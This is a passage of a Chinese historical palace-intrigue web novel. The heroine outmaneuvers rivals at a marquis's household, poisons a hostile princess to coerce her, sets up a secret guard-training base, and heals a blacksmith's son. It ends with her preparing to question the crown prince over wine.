这些话传进长乐侯夫人的耳中,顿时让她两眼一黑,彻底昏死过去。 这一下,现场顿时乱成了一锅粥,惊叫声,不绝于耳。 秦时月在心里冷哼一声,镇定的命下人去喊大夫,下人得令,急忙飞奔而去。 宋砚辞看着这混乱的场景,心中对秦时月越发欣赏,她一个未出阁的女娘在这种情况下还能保持冷静,实在难得。 长乐侯夫人是昏了,可这事儿,还得继续下去。 秦时月迈着莲步走到长乐侯夫人面前,忧心忡忡的蹲下,然后用只有两人才能听到的声音说道,“母亲,您安心养病,芳姨娘定会将侯府上下管的好好的。女儿也会时常督促她。” 说完,佯装伤心欲绝的掉了几滴泪。 如今侯府正是芳姨娘在管家,按理说,她没必要多此一举,可她这么做,有她的打量。 毕竟,只有芳姨娘走到明面上,将来她成为这侯府的主人,才不会有人觉得意外…… 老夫人看着眼前乱糟糟的一幕,明白自己大势已去、无力回天,也看清楚了一件事,秦时月的手段,太过厉害,根本不是她能抗衡的。 她疲软的瘫坐在椅子上,心中满是不甘,但也只能接受现实。 秦可云被下人强行拖走,老夫人和长乐侯夫人分别被扶着、抬着离开了大厅,至此,这场闹剧才落下帷幕。 宋砚辞见事情处理得差不多,看向秦时月,目光中带着一丝深意,“时月,今日之事,本宫算是涨了见识。” 秦时月在心里冷哼一声,看向宋砚辞的眼神里多了一丝谢意,“让殿下看笑话了,日后明月做东,还请殿下赏脸。” 宋砚辞眸光微沉,哈哈一笑,转身就走。 看到她机智化解太子叫错名字的尴尬,长公主笑着开口,“好了,今日之事到此为止,本宫也乏了,先回府了。” 第108章 送上门来 说罢,也带着随从,浩浩荡荡的离开了。 众人见两位殿下离去,也纷纷告辞,大厅很快陷入了沉寂。 秦时月淡然的坐在主位上端起一杯新茶润了润喉,然后笑了。 从今往后,她这侯府,再没有人能撼动她的地位,甚至没人敢挑战她的权威。 “小姐,都送走了。” 小荷一回来,就看到秦时月正淡然的看着门外,像是在发呆,又像是在思索,忍不住轻声开口。 秦时月回过神,勾唇笑笑,“时间还早,走吧,你家小姐带你去吃好吃的。” 天香楼那边,也该布置起来了。 主仆二人刚进天香楼,便有伙计迎了上来,“县主,二楼请。” 掌柜的可是特别交代过,二楼最东头的雅间是为明月县主特留的,但凡明月县主到,立刻迎上去,他们是一点都不敢怠慢。 秦时月微微点头,跟着往楼上走的时候,说道,“一会儿将掌柜的叫来,我有话问他。” 伙计赶忙应了一声,安置好她们,这才匆匆下楼去请掌柜的。 不一会儿,掌柜的敲门而入,脸上一派恭敬,“不知县主有何吩咐?” 秦时月神色从容,“我收到你的信了,太子那边可有其他异动?” “暂时没有,不过县主应当知道,属下权利范围有限,出了这道门,属下便无法获取跟太子有关的相关情报了。”掌柜的说到这,有些无奈。 听到掌柜的答复,秦时月笑了笑,“你只需做好分内的事就好,其余的不必管。” 这里有掌柜的盯着,外边,有影夜的人,宋砚辞但凡敢动手,都不会逃过她的眼线。 不过,这件事还得进宫跟皇后娘娘通个气,免得真出了事,她那边手忙脚乱。 之后秦时月又交代了掌柜一些注意事项和人员安排,这才让他交代下去,上些拿手的招牌菜。 掌柜的得了令,赶忙下去安排。 菜陆续上齐。 小荷吃得津津有味,秦时月却吃得有些心不在焉。 宋墨辰离京也有几日了,按脚程算,他们差不多该到边关了,可如今都没有一封书信回来,她难免有点担心。 “小姐,您怎么不吃啊?这里有您爱吃的水晶虾饺呢。”小荷嘴里塞得满满当当,含糊不清的说道。 秦时月宠溺的笑笑,摇了摇头,“你呀,喜欢吃就多吃些。” 她嘴上说着,心里却忍不住嘀咕:也不知是边关战事吃紧,还是路上遇到了什么麻烦,所以墨辰哥抽不出时间给自己写信。 不过,她应该是想多了,有影风一行人跟着,应该不会出什么意外…… 就在她胡思乱想之际,房门突然被人暴力破开,下一秒,赵景阳黑着脸闯了进来。 “好啊!我还当自己看错了,没想到真的是你!” 秦时月皱起眉头,不悦地看向赵景阳,“你好歹是个郡主,行事如此,真是没有礼数。” 赵景阳会告状又怎么样?经过上次一事,秦时月已经看明白了,她不主动惹事,这烂七八糟的事,总有办法找上门。 既然躲不过,那她就不躲了。 上次没能用在太后身上的好东西,这次正好在赵景阳身上试试深浅! “放肆!你是什么东西,也敢这样对我说话!”赵景阳被气的攥紧了拳头,一张小脸上满是怒气。 她是郡主,被一个狗头嘴脸的县主这样嘲讽,简直是脸都丢尽了。 尤其是上次的事,明明姑母马上就要惩治秦时月这个贱人了,可不知皇后娘娘怎么得到了消息,竟然直接闯进慈宁宫将人救走了…… 一想到皇后和宋墨辰都站在秦时月身边,赵景阳气不打一出来,恨不得杀人。 秦时月噗嗤一笑,给小荷递了个眼神,小荷立刻领悟,恭敬的福福身子,率先退了出去。 就在这时,察觉到不对劲的掌柜的也冲了上来,一上来就被小荷拦下了。 她朝着掌柜的摇摇头,眼神示意他不用担心。 掌柜的虽然不放心,但还是点点头,站到了一旁。 这里是王爷的势力范围,真要出事,就是一句话的事,保管不会让王妃受到伤害! “郡主莫要生气了,相见是缘,不如坐下来,咱们聊聊?”她别有深意的扫了眼跟在赵景阳身后的侍卫、下人们,像是在主动示好。 赵景阳的虚荣心得到了一丝满足,挥挥手,让他们候在门口,并没有看到秦时月眼底的冷意。 见所有人退了出去,秦时月抬手将掌柜的叫了进来,“让人把这些都撤下去,上些好酒好菜,我要与郡主把酒言欢。” “是。”掌柜的不动声色的看了赵景阳一眼,恭敬的退了出去。 赵景阳冷哼一声坐下,一副高高在上的样子,“你别以为你对本郡主示好本郡主就会原谅你,我告诉你,除非你主动退出,让出辰王哥哥,否则,这辈子我都……” “郡主,请。”不等赵景阳发泄完,秦时月端着一杯茶递到了她面前。 茶水清亮,散发着淡淡的花香。 赵景阳狐疑地看了秦时月一眼,却并未伸手去接。 “怎么,郡主是怕我在这茶里下毒?”秦时月似笑非笑的说着,随后作势要自己喝。 赵景阳见状,这才一把抢过来,喝了一大口。 见她喝下,秦时月半垂下眸,嘴角含笑。 这赵景阳果然蠢的不可救药,明知道自己有医术,对自己还这般没有防备心,就她这样,还敢觊觎宋墨辰,真是搞笑! “这是什么茶?这么好喝?本郡主怎么从来没喝过?” 放下茶杯,赵景阳有些意犹未尽。 “毒茶,可以让你上瘾的毒茶。”秦时月笑眯眯的看向她,那样子活像一只没有危险的小狐狸。 “噗嗤。”赵景阳耻笑一声,“就你这个废物,你就算承认自己下毒,本郡主也不会信。” 说着,她冷笑着交叠双手,“本郡主最后警告你一遍,辰王哥哥不是你能肖想的,聪明的就给本郡主……” 她话还没说完,小腹处突然传来一阵揪痛,疼的她脸色都白了。 第109章 中毒,放下身段 “你,你对本郡主做了什么?”赵景阳紧紧捂住肚子,豆大的汗珠从额头上滑落下来。 这一刻,她终于相信了秦时月的话,眼里全是恐惧。 秦时月却一脸无辜的耸耸肩,“我刚刚不是说了嘛,这是毒茶,郡主偏不信,现在相信了?晚喽。” 她的语气中带着一丝戏谑,看着赵景阳痛苦的模样,心情却没什么太大的波动。 前世,赵景阳和自己并没有交集,所以这一世,她也没想过要害赵景阳。 可她却一而再再而三的找茬,这才给了自己想要教训她的冲动。 对,仅仅是教训,秦时月并不想要她的命。 只是,这毒药是实打实的,若她后边悔悟,不再找秦时月的麻烦,秦时月也不会对她吝啬解药。 怕就怕,赵景阳狗改不了吃屎。 “你,你竟敢真的下毒,你就不怕姑母找你算账!?不怕辰王哥哥看清你这个毒妇?”赵景阳强忍着疼痛,恐惧,试图用太后和宋墨辰来威胁秦时月。 她不能死,她受尽万千宠爱,就是辰哥哥,姑母也答应会帮她,她决不能死! “呵,郡主可别忘了,是你自己闯进我的雅间,主动喝了这茶,再说,这里只有咱们两人,你以为,太后和宋墨辰会相信我一个县主,敢对你一个郡主用毒?”秦时月眼神冰冷,“而且,你觉得宋墨辰信你,还是信我?” 赵景阳被噎的说不出话,肚子里的绞痛越来越剧烈,她在椅子上艰难的扭动着身体,豆大的汗珠不断从额头滚落,“救,救我……” 这下她真的慌了,为了保命,不得不向秦时月低头求救。 秦时月见她终于肯低头,心中冷笑,却并没有立刻拿出解药,而是起身走到她面前,居高临下的看着她,慢悠悠开口,“想让我救你,不难,但是你得答应我几个条件。” 赵景阳腹痛如绞,哪敢拒绝?忙不迭的点头,生怕秦时月后悔,“你说,你说,只要能救我,什么条件我都答应!” 秦时月神色平静,目光淡漠,让人看不透她的心思,“第一,日后不许再针对我,不管是明面上还是暗地里,都不准找我麻烦。第二,太后娘娘那边以后若是对我有什么想法,还请郡主提前告知。第三……我暂时还没想到,等我想到我再跟你说吧。” 赵景阳愣了一下。 她以为,秦时月一定会让自己离辰王哥哥远些,没想到,她却说了这样两件无关痛痒的条件。 不过,虽然这两件事对她来说并不难,但她心里还是很不甘被威胁,但性命攸关,她别无选择,只能暂时应下,以后再想办法…… “好,我答应你。”赵景阳咬紧后槽牙。 秦时月满意的勾勾唇,这才从袖袋里掏出一个小瓷瓶。 就在赵景阳眼神发亮的时候,她直接将瓷瓶递了过来,“吃下去,片刻之后疼痛会消失。” 赵景阳眼神狐疑,担心这是秦时月给她下的套。 可她实在是太疼的,咬咬牙,她还是打开瓷瓶,迫不及待的到了一颗药丸吞了下去。 不多时,肚子里的绞痛果然轻了不少,她这才放心。 就在她想要发火的时候,秦时月轻轻掀起了薄唇,“此毒是慢性毒,刚给你的是解药,却不是彻底治疗的解药。” 她端起茶杯喝了一口,满口生香,“瓷瓶中一共十颗,每半月服用一颗,可保此毒五个月不犯,五个月后若你还想要这条命,就再来找我拿解药。” “当然,这五个月里,你若遵守咱们之间的约定,届时我也会主动给你解药。但要是你敢违背约定,呵,这毒发作起来,可就不是今天这般简单了,到时候,你就算求我,我也不会再管你。” 听到这,赵景阳的脸色一阵青一阵白,心中的恨意如滔天的潮水般翻涌不断,可她不敢发作,只能咬牙切齿的说道,“你放心,本郡主说话算话!” 只是,她嘴上这样说着,心里却在想:赵家乃太后母族,家里认识的奇人能人不在少数,只要她回去将此事告知父亲,父亲一定会为她寻来绝世神医,到时候……她要整个长乐侯府陪葬! 秦时月淡淡一笑,给自己又倒了杯茶,“希望郡主说到做到,否则,后果自负。好了,若无其他事,你可以走了。” 她如何猜不到赵景阳的心思?只是,希望越大,绝望越大的道理,这位高高在上的景阳郡主也该尝尝了。 赵景阳咬紧牙,狠狠瞪了秦时月一眼,然后捂着肚子艰难起身,头也不回的离开了。 她一离开,小荷立刻冲了进来,上下打量秦时月几眼,见她身上没有外伤,这才松口气,“小姐,郡主没有问难您吧?” “放心吧,你家小姐好着呢,对了,去跟掌柜的说一声,不用上菜了,咱们这就走了。” 小荷刚刚吃了不少,已经不饿了,但她家小姐没吃几口,此时离开…… 看出小荷的犹豫,秦时月笑笑,“我不饿,我现在要带你去别的地方一趟。” 这边已经安排的差不多了,有任何风吹草动,掌柜的都会第一时间知会她,接下来就是影夜那边。 她有点想看看他那边的成绩了。 “是。”小荷思考一下,转身离开。 一会让掌柜的打包一些糕点给小姐路上吃,小姐总不会饿到。 长乐侯夫人悠悠转醒,还没消气,又收到了一个让她又惊又怒的消息,秦可云竟然被休了。 怀孕被休,秦可云算得上是靖垣王朝的第一人,是什么光彩的事吗?当场,她差点又昏死过去,只是,她太过担心秦可云的处境,硬是靠着掐紧掌心撑住了。 “可云现在在哪?”她着急问到。 “回夫人,可云小姐现在无家可归,听说,听说东西都被定远侯夫人扔出来了。” 听着张嬷嬷的汇报,长乐侯夫人是又气又急,“该死的!她怎么敢那样对待我的可云?你,你快带人去给我把可云找回来!可云决不能出事!” 第110章 细心发现 她可是长乐侯府的福星,只要她能回来,长乐侯府一定会变成先前的样子! “可……”张嬷嬷低着头,一脸犹豫,“如今管家的权利在芳姨娘手上,而且可云小姐已经被族谱除名,贸然将她接回来,会不会不妥?” 张嬷嬷是长乐侯夫人的陪嫁嬷嬷,上一世对长乐侯夫人衷心不二,秦时月被关起来后,没少在她手上吃苦。 只是,她看的清楚,如今长乐侯夫人已经大势已去,这个时候若是不收敛锋芒,只怕下场会更惨。 “那怎么办?你让我眼睁睁看可云流落在外,不闻不问吗!?” “夫人息怒,老奴的意思是,不如先在外边租个院子安置好可云小姐,也好让她安心待产,说不定瓜熟蒂落,定远侯府或陆世子会回心转意,将人接回去呢?”张嬷嬷道。 长乐侯夫人皱皱眉,终于冷静下来,“你说的对,侯府现在并不太平,将可云接回来我也护不住她,这样,你带人去找到可云,把可云安置好,再给她安排两个伶俐的婢女、干活利索的下人。” “是。”张嬷嬷松口气,转身离开了。 屋外,梁斌冷哼一声,悄无声息的消失了。 京城郊外,一座毫不起眼的民房里。 影夜神情严肃的指挥着几个看上去年岁不大的孩子,每当有人动作做错,他就会严励的上前指导,严重的,多次指导仍改不掉的,还会被他甩上两鞭子,所以这些孩子,个个不敢懈怠。 就在这时,大门吱呀一声开了,秦时月和小荷前后脚走了进来。 在看到院内的场景后,秦时月满意的点了点头。 这些孩子是影夜亲自挑的,他们自然有过人的长处,只要善加培养,他们总有一天能够成为影夜这样的人。 影夜没想到秦时月会过来,更没想到她们主仆能这么轻易进来,不由的皱了皱眉头。 “你们先自己练,我过会儿过来检查!”说完,他转身迎向秦时月,“大小姐。” “你们辛苦了,你去看着他们吧,我随便看看。” 影夜皱皱眉,也不怕她会动怒,直接伸手做了个邀请的姿势,示意她跟自己过来。 秦时月有些意外,但还是让小荷在原地候着,自己则跟着影夜走向了旁边。 “大小姐今日来可是有什么吩咐?” “没什么,就是突然心血来潮,想来看看你们的进度。”秦时月挑眉看着他,似乎在等他主动开口。 影夜略迟疑一下,还是说出了心里话,“大小姐,属下有个不情之请。” “你说。” “方才您和小荷姑娘进门,属下突然意识到,这里……并不如属下想的那样安全。” 秦时月是他们的主子,她随时可以来,但前提是,在她赶到之前,或在推门之前,他们要有足够的反应时间。 这不是为了防备秦时月,而是防备有心人的突击检查。 他是暗卫,明白身为王爷,暗中培植势力的重要性,更明白这其中的风险。 帝王无情。 原本陛下就对他家王爷有所防备,若让陛下知道王府的暗卫在暗中培植势力,他绝对不会深究原因,而是会立刻降下怒火。 所以,影夜希望能在这片民房周围设置一些隐蔽的机关和暗哨,又或者,干脆重新找个更隐蔽的地方,以防万一。 秦时月面色不变,眼里却闪过一丝赞赏。 影夜能有这样的考量,说明他心思缜密,有勇有谋。 不愧是宋墨辰的暗卫首领。 把这些人交给他负责,她也能安心了。 “我明白你的意思,我今日来,一来是为了看看你们的进度,二来,就是想跟你谈谈之后的选址。” “?”影夜一时间没反应过来。 “这里只是个临时住所。你可以这么理解,这些人,也是需要选拔和训练的,而这里,可以作为第一道筛选人才的地址。这样一来,那些不合格的,可以直接在这一道淘汰掉,过关的,可以直接送到真正的基地。” 秦时月的话让影夜眸光一亮。 “大小姐高见,如此安排,既解决了当前的隐患,又能暗中训练人才。”影夜一脸钦佩,“只是,属下杀人有些手段,这真正的基地选址,属下却是帮不上忙的。” 他从来没想过这件事可以这样解决。 这样一来,完全可以掩盖突然有人闯入,发现他们暗中培植人手。 毕竟,这里地方有限,能容纳的人也有限,就算被查到,被审问,也只会认为王府守卫力量不够,他们在为王府训练府兵。 而那些被淘汰的,永远也不会知道他们的真正目的,即便离开这里,他们也不会乱说什么,给王府带来麻烦和灾难。 秦时月笑笑,“这基地嘛,既要隐蔽,又要便于联络,还得有足够大的地方供大家训练。我思来想去,西郊的那片山谷倒是个不错的选择。” 听到她的话,影夜眉头一拧,立刻在脑中描绘出西郊山谷的位置与地理环境,片刻后才慢慢点头,“西郊的那片山谷地势险要,易守难攻,且四面环山,隐蔽性极佳,确实是个理想之地。只是,若要将那改造成训练基地,恐怕需要花费不少人力物力……” 他担心的倒不是钱和人,他担心,一旦进出山谷的人太多,会引起其他势力的注意,尤其是太子那边。 “钱财、人力方面你无需担忧,我自有办法。”秦时月眼神带笑,眸低却透出一股让人无法忽视的,属于上位者的威严,“你只需负责训练和监督选址改造的相关事宜,尽快落实就好。” “是,大小姐放心,属下定不辱命!”影夜抱拳应道,心里莫名激动不已。 他们这位王妃与寻常只会绣花的贵女不同,这样的她,让他不禁联想到了他的主子,宋墨辰。 不过,也只有这样的王妃,才配得上王爷! “另外,这些孩子的训练切不可操之过急,要善于发现他们的长处,将他们的优势发挥到最大。”秦时月看向那些正在咬牙训练的孩子,水眸里明显过了一丝期许。 第111章 别有洞天的地方 “属下明白,这些孩子都是属下精心挑选的,个个都有独特之处,只要好好培养,将来必能成为您和王爷的得力助手!”影夜自信地说道。 他也好,这些孩子也罢,都不再单纯的属于王府,他们要效命的,是王爷和王妃! “那就好,我相信你的眼光和能力。对了,关于训练的内容,除了武艺,还需注意教会他们应变的能力和隐匿的技巧。这样吧,过两日我会派人过来一趟,给你送些书籍。”秦时月说道。 她跟着东方苑学习过一段时间,东方苑对她毫无保留,她所接触到的秘籍,远比这个时代的秘籍厉害的多,尤其是其中的训练方法和技巧。 影夜听了,先是皱皱眉,随后才应下,“是。” 不怪他会觉得这件事有点多余,他身为暗卫,最拿手的便是应变能力和隐匿行踪,在他看来,完全没必要额外给他们什么秘籍…… “对了,你上次说这两日会连夜赶制火铳,不知那边做的怎么样了?” “我正要跟您说这件事。”影夜脸上带着从未有过的轻松,“昨日铁匠那边传来消息,已经进入收尾阶段,您今日来的巧,如果一会儿没其他事,不如属下带您去看看?” “也好。” 秦时月今天过来就是为了这两件事,现在训练的事有了着落,接下来就是火铳。 只要火铳的事解决了,其余的,都不急。 在影夜的带领下,秦时月和小荷很快来到了一处藏在京中的偏僻小巷。 小巷深处,是一个大门紧闭的民房,民房里暗藏玄机。 影夜上前,轻重不一的敲了敲门,不多时,门“吱呀”一声打开了,一个满脸黝黑的大汉探出头来,看到影夜,立刻咧嘴笑道,“张兄,你可算来了,我正盼着你呢!” 影夜笑着点点头,侧身让出秦时月,“这位是我的主子,上次托你打造火铳的,便是这位。” 秦时月在听到“张兄”的时候毫不意外。 影夜是辰王府的暗卫,即便有相识的人,也绝不会以真面目示人。 倒是这个小院,给了她不小的震撼。 这处小院从外看,毫无特点,但里边却是个不折不扣的铁匠铺,锻造用的东西一应齐全。 “原来是这位贵人,贵人里边请。” 大汉谨慎的看了看他们身后,见没人跟踪,这才在几人进门后,重新将大门关闭。 秦时月好奇间,大汉已经拿着一把刚赶制出来的火铳走了过来,“小姐,这个我今早刚做完的,您看看可还过得去。” 秦时月也不客气,接过火铳翻来覆去查看,这一看不要紧,她是越看越心惊。 因为这把火铳看上去,除了颜色外,竟然和长公主赠她的那把别无二致。 先不说威力,单说这个铁匠的锻造手艺,就让她佩服不已。 “小姐,您也看到了,我这里实在不方便试威力,所以,它能不能达到您的满意,还得抽时间出城试试。” 这一点,不用铁匠提醒,秦时月也清楚。 火铳这种东西,若是在城中试威力,动静太大,极有可能会惹来不必要的麻烦。 但他的提醒让秦时月看到了他的谨慎与专业。 她勾勾唇,眼底带着满意,“好,今日我还有事要办,等安排妥当,我们就出城试试。” 说着,她还不忘夸奖,“师傅手艺精湛,能在这么短的时间内打造出如此精良的火铳,实在让我惊喜。小荷。” 小荷受意,立刻从腰间的钱袋子里掏出了一锭金子,双手奉上。 铁匠怔愣一下,连忙摆手,“小姐,张兄已经付过酬金了,比寻常要高出三成,这锭金子,小人不能要。” 听到他的话,秦时月眼带笑意。 不错,影夜做事周全,这个铁匠在面对诱惑时能面不改色的坚守原则,是个实诚人,未来,可以长期合作。 想到这,她笑的和善,“师傅不必推辞,这是额外的赏钱,就当是对你手艺的认可。” 铁匠皱皱眉,还是有些犹豫。 这若是一两银子也就罢了,这可是一定金子啊,他若收下,实在于心不安。 “老五,你就收下吧,这是大小姐的赏赐,再者,我上次见你儿子还在病中,你正好可以用这笔钱治疗你儿子的病。” 影夜的话让铁匠没办法再沉默。 他儿子患上了罕见病,他找了许多名医,但给出的结论都是,不治之症。 有的甚至让他尽早做好为儿子收尸的准备。 就连他的婆娘,也因为承受不住这昂贵的诊金、药费而离他们父子而去了。 想到这些,老五攥攥拳,弯腰道谢,接过了金子。 这一刻,铁血一样的汉子,脊背弯了下来。 “你儿子病了?”秦时月皱皱眉,想都不想的脱口说到,“不瞒师傅,我自幼跟一位隐世神医学过一些皮毛,若你不嫌弃,不如让我看看?” 老五有点不敢置信。 看这位小姐的样子,该是个十指不沾阳春水的千金贵女,行医……实在让人无法想象。 影夜虽然不知道秦时月会医术,但她给他的震撼太多,所以,她的话,他深信不疑,“老五,你就让大小姐给你儿子看看吧,左右你也找过不少大夫了。” 老五咬咬牙,攥着拳头点了下头,“那就有劳大小姐了。” 若她真的有办法医治他的儿子,那他这条命以后就是大小姐的! 随后,老五带着秦时月和影夜、小荷走进里屋。 屋子不大,收拾的还算整洁,只是屋内没有掌灯,有些暗。 秦时月顺着老五的行走方向看到了一张简陋木板床,床上躺着一个面色苍白的小男孩。 他双眼紧闭,脸色乌青,气息虚弱,看上去约莫十二三岁。 老五一脸心疼,“大小姐,这便是我儿子,我儿自小身子弱,前些日子突然病情加重,寻了许多大夫都没办法……” 说着,他竟双眼含泪,一副即将哭出来的样子。 秦时月不知该如何宽慰这位父亲,索性什么都没说,而是走到床边坐下,轻轻握住小男孩的手腕,开始为他把脉。 第112章 救治正元 看到她毫不嫌弃的样子,老五眼睛泛酸,悬着的心终于落下了。 不知过了多久,秦时月终于松开手,从沉思中回过神。 老五紧张的看着她,影夜和小荷则在一旁默默等待,但脸上的神情一样,透着一股紧张。 秦时月抬眸看着老五,斟酌一下,缓缓开口,“孩子的病虽然棘手,但并非无药可医。他这是先天不足,又受了外邪入侵,导致病情加重。我一会给他银针渡穴,然后再开几副药,你按时给他煎服,假以时日,定能好转。” 孩子的情况并不像她说的这样轻松,她相信,那些被老五请来的大夫们,是真的尽力了。 不过,这种事她没办法对一个满心充满希望的父亲说。 老五听了,眼眶瞬间红透,“真,真的吗?大小姐,您,您可别哄我啊!” 秦时月轻轻一笑,眼神坚定,“我为何要哄你?不过,这药里有几味珍稀药材,你可能一时半会儿凑不齐,不过不用担心,我这边有,晚些时候我会让人送过来。” 老五听罢,噗通一声跪在地上,眼泪哗哗的往下流,“大小姐,您的大恩大德我老五做牛做马也报答不完!以后但凡您有任何用得到老五的地方,您尽管开口,上刀山下火海,绝不推辞!” 秦时月给小荷使了个眼色,小荷赶紧上前扶起他。 “你别这样,我懂些医术,只不过是做了自己力所能及的。”说着,她看向小荷,“你去马车上取我的诊箱过来。” 这孩子的情况比较棘手,也幸好今日碰到的是她,否则再耽搁下去,说不定真的回天乏术…… 小荷应了一声,急忙转身出门去取诊箱。 影夜在一旁看着,心中对秦时月的敬佩又多了几分。 大小姐不仅有谋略,还心地善良,医术也如此精湛。 先前他还觉得大小姐能配给王爷是她的福气,现在看来,是他狭隘了,大小姐这般女子和任何人在一起,都是那人的福气才对。 不多时,小荷抱着诊箱匆匆返回。 秦时月打开诊箱,从中取出几根银针,在烛火上仔细烤了烤,随后,专注的找准小男孩身上的穴位,手法娴熟的将银针一一刺入。 屋内众人屏气凝神,一时间,落针可闻。 随着银针的刺入,小男孩的额头、全身,沁出了一层灰扑扑的汗液,原本乌青的面色似乎有所改善,就连呼吸似乎都平稳了许多。 看到有效果,秦时月长舒一口气,“今日已经施完针,接下来按时喂药,两日后我再来施针。” “多谢大小姐!”老五再次跪地,这一次,比上次还郑重。 他儿子的情况肉眼可见的变好,这全是大小姐的恩德,这让他如何能不感激涕零? 秦时月在他身上看到了两世不曾看到的父爱,眸光一柔,没再阻拦他,等他磕完头后才让小荷再次扶起他。 “你儿子叫什么名字?”秦时月轻声问道。 “回大小姐,犬子叫武正元,今年刚满十六。”老五连忙回答,眼中满是对儿子的疼爱,“正元这孩子自小就懂事,即便被病痛折磨,也从不哭闹……” 说到此处,老五的声音有些哽咽。 听到这,秦时月的心里划过一抹异样,“他是个好孩子,等他病好后,你若愿意,可以让他来王府,虽然王府的待遇或许比不上别的,但是影夜他们能教他一些强身健体的本事。” 此时的老五既震惊又感动,已经说不出话了,只能不断点头,道谢,“多谢大小姐,多谢大小姐!” 秦时月又交代几句,这才带着小荷和影夜离开。 路上,她对小荷吩咐几句,小荷当即皱起了眉头。 “小姐,您说的那些太过珍贵,不如小荷去京中的各大药房……” “正元等不了那么久。”秦时月打断小荷的话,说道。 她知道小荷的意思,可她刚才说的隐晦,想要救治武正元,要用到的珍稀草药全都是吊命用的,珍贵程度和稀有程度不言而喻。 而她手上,也只有几株,还都是皇后娘娘看在她舍命救人的份上赏赐的。 不过,救人一命胜造七级浮屠,她并不后悔。 几日后,秦时月正在店里看账本,小青匆匆冲进来,一进门就直奔柜台,“小姐,小姐!” “出什么事了,慌里慌张的。”秦时月含笑抬头,问道。 “小姐,辰王来信了!”小青满脸喜色,顾不上抹掉额头上的汗珠,直接将信递到了秦时月面前。 秦时月眨眨眼,回过神后才一把接过。 信纸上洋洋洒洒写了很多,有宋墨辰这段时间的遭遇,也有他到达边关后遇到的变故,唯独没有他被刺杀的事。 秦时月捧着信,心中说不出是什么感觉,但眼眶却忍不住发烫。 若不是她一早得知了宋砚辞的算计,此刻说不定会被他蒙混过去。 这人啊,报喜不报忧。 虽然是不想让她担心,可他们如今同在一条船上,她又怎么可能不紧张? 加之边关局势复杂,宋砚辞对他虎视眈眈,他什么都不说,自己又该怎么筹备? 想着,她的手不自觉的攥紧了信纸,思考着要不要派人去一趟。 小青在一旁看着,将秦时月的表情尽收眼底。 虽然疑惑,但作为下人,她什么都没说。 秦时月在心里计较一番,然后又将信从头到尾看了一遍,确定没遗漏什么,这才将信小心折好,放进了袖袋里。 “小青,准备笔墨。” 他虽然是为了保护自己,但她该让他知道,她在京中,并不比他平安,若是之后他还有所隐瞒,只怕他们很快会成为别人粘板上的鱼肉。 “是,小姐。”小青应道,转身去准备东西。 小青将笔墨纸砚准备好,秦时月便让她去外间候着。 小青离开后,她下笔迅速,丝毫没有拖泥带水。 很快,一封带着对他的思念,京中杂事的信,新鲜出炉。 宋砚辞的事不可在信中提及,她能做的,就是派人亲自去送信,顺便,将她想说的,转达给宋墨辰,也好让他有所防备。 第113章 登门,邀人共饮 信写完后,她吹干墨迹,仔细的封好,抬眸喊了声:“梁斌”。 梁斌立刻凭空出现,“大小姐。” “梁斌,你亲自去一趟边关,务必将这封信送到王爷手中,并将太子的谋划告诉他,提醒他务必防备太子。” “可是……” 梁斌有些犹豫。 他并不知道影夜等人的存在,他担心自己一旦离开,秦时月会遭遇不测。 秦时月眉毛弯弯,嘴角带笑,“怎么?忘记我的手段了?放心,你快马加鞭,几日内赶回来,我这边不会出事。” 梁斌精神一震,连忙领命,悄无声息的消失了。 他怎么忘了,先前去江南的路上,她的手段可是震惊了他和他的一众兄弟…… 见他离开,秦时月收起账本,叫来了小荷。 “小姐。” “走吧,陪我去见一个人。” 秦时月眸光潋滟,声音淡然,但语气里却透着几分焦急。 这两天掌柜的和影夜的人并没有带来什么消息,但她有种感觉,宋砚辞,已经动手了。 太子府。 宋砚辞看着正朝自己行礼的秦时月,眉眼带笑,眸底却透出几分深意,“时月今日过来,倒是出乎了本宫的预料。” “殿下前些日子帮过时月,时月不是那种看不清局势的人,今日来,就是来践诺的。”秦时月盈盈笑道。 她本就长得沉鱼落雁,此时姿态从容优雅,更撩拨人的心弦。 宋砚辞的目光在她身上流转,眼底翻涌着秦时月看不透的情绪,随后,他哈哈大笑两声。 “本宫果然没有看错人,只是不知时月打算在哪里请本宫?” “还是殿下选吧,臣女相信,殿下选的,定然是极好的。” 听到这,宋砚辞的心情更好了。 谁不喜欢漂亮有聪慧的女子? “那就去望月楼吧,本宫先前去过,那里的菜品别具风味,就是比本宫府里的也不差,最主要的是,安静。”宋砚辞嘴角微微上扬,眼里闪过一丝算计。 秦时月心中冷笑,面上却依旧保持着得体的微笑,垂眸应道,“能入殿下眼的,自然是好的。” 宋砚辞很高兴,直接让人备车。 秦时月对此倒是没什么意见,只是,在看到宋砚辞弯腰钻进马车的时候,她明显愣了一下。 “殿下,这不符合规矩吧?” 男女有别,更何况她与辰王有婚约在身。 此时共乘一架马车,传出去,轻则辰王宋墨辰脸面全无,重则,她要被人当做祸国妖女了…… 宋砚辞笑看着她,不答反问,“本宫与时月光明磊落。再说了,你是皇弟的未来王妃,在民间,就是本宫的弟媳,本宫不认为有何不妥。” 好嘛,一句话下来,倒显得秦时月狭隘了。 她在心里冷笑一声,没再说什么,只是默默将这个屈辱记了下来。 路上,宋砚辞有意无意的试探秦时月,询问她对京中局势的看法,询问她对某位官员的评价,甚至故意说错话,暗示当今陛下年迈,头脑不清楚。 秦时月全程“紧张不已”,磕磕巴巴的应付,言语间更是模棱两可,让宋砚辞抓不住一点把柄。 宋砚辞越接触就越觉得秦时月跟他是绝配。 要知道,他问的这些问题有些刁钻,便是他府上的幕僚也未必能答的上来。 可她呢?虽然回答的磕磕绊绊,小心谨慎,但看的出来,她是真的胸有沟壑。 她若是男子,他是一定会招揽的。 抵达望月楼后,小二热情的将他们迎进了雅间。 宋砚辞随意的看着秦时月,眼神示意她点菜。 秦时月也不做作,询问过小二后,点了几道招牌菜,还要了一壶上等的女儿红。 宋砚辞笑的眼睛弯弯,“本宫不知,时月还会饮酒。” 他是知道的,毕竟宫内的宴会他又不是只参加过一次,他好奇的是,方才上马车时她还有所担心,此时他们孤男寡女的,她竟然会要酒。 她就不怕他借酒…… 秦时月腼腆一笑,“时月的酒量难登大雅,不过是为了感谢殿下先前的出手相助。” 她这话说的没毛病,但她的表情却让宋砚辞想入非非。 一个女子主动要酒,还羞涩的对一个男子说出这种话,不是对男子有意,又是为何? 想到这,宋砚辞眸光微暗,有些心痒难耐。 不过,他并没有忘记两人如今的身份、处境,有些事,他不会主动,他要等着秦时月主动! 秦时月低着头感受着他饱含侵犯的视线,白眼恨不得翻到天上。 蠢货!她要酒自然有她的用意。 总不能喝些茶水就让他喝晕,被自己套话吧? 